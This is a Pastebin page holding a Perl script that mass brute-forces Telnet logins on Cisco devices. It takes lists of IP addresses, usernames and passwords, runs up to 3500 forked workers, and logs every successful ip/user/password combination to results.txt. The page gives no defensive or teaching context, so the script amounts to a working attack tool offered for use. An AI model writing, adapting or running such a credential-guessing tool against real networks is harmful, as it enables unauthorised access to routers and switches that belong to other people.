Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Try::Tiny;
- use Parallel::ForkManager;
- use Net::Telnet::Cisco;
- use MCE::Shared;
- my @foundip;
- my @passlist;
- tie @foundip, 'MCE::Shared';
- tie @passlist, 'MCE::Shared';
- my $ips = $ARGV[0];
- my $users = $ARGV[1];
- my $passwords = $ARGV[2];
- my $filename = "Moslem_last.txt";
- my $forkmanager = new Parallel::ForkManager->new("3500");
- open( PASS, "<$ips") || die " Cannot open $ips ! \n";
- chomp(@iplist = <PASS>);
- close(PASS);
- open( USERS, "<$users") || die " Cannot open $users ! \n";
- chomp(@userlist = <USERS>);
- close(USERS);
- open( PASS, "<$passwords") || die " Cannot open $users ! \n";
- chomp(@passlist = <PASS>);
- close(PASS);
- #$forkmanager->run_on_finish(sub { # must be declared before first 'start'
- # my ($pid, $exit_code, $ident, $exit_signal, $core_dump, $data) = @_;
- # $out{ $data->[0] } = $data->[1];
- # #print "[onfinish]". $data->[0] ."\n";
- # if (($data->[1] == -1) or ($data->[1] == 1)) {
- # push(@foundip,$data->[0]);
- # }
- #
- #});
- foreach $pass (@passlist){
- print "Password : $pass ";
- foreach $user (@userlist) {
- print "User : $user ";
- #foreach $pass (@passlist){
- #print "Password : $pass ";
- print "File : $ips\n";
- foreach $ip (@iplist){
- #print "Ip $ip\";
- if (!grep {$_ eq $ip} @foundip) {
- $cnt++;
- my $pid = $forkmanager->start and next;
- dostuff($ip,$user,$pass);
- # alarm("20");
- $forkmanager->finish(0); # Child exits
- }else{
- #print "!!!!! $line was here\n";
- }
- }
- }
- }
- $forkmanager->wait_all_children();
- sub dostuff
- {
- my $ip = shift;
- my $user = shift;
- my $pass = shift;
- try {
- my $session = Net::Telnet::Cisco->new(Host => $ip,
- Timeout => '5');
- $session->login($user,$pass)|| last;
- if ($session) {
- # @output = $session->cmd('show privilege');
- # print "My privileges: @output\n";
- print "Logged $ip $user $pass\n";
- system("echo $ip $user $pass >>results.txt");
- push @foundip, $ip;
- } else {
- # warn "Can't enable: " . $session->errmsg;
- }
- }
- catch{
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement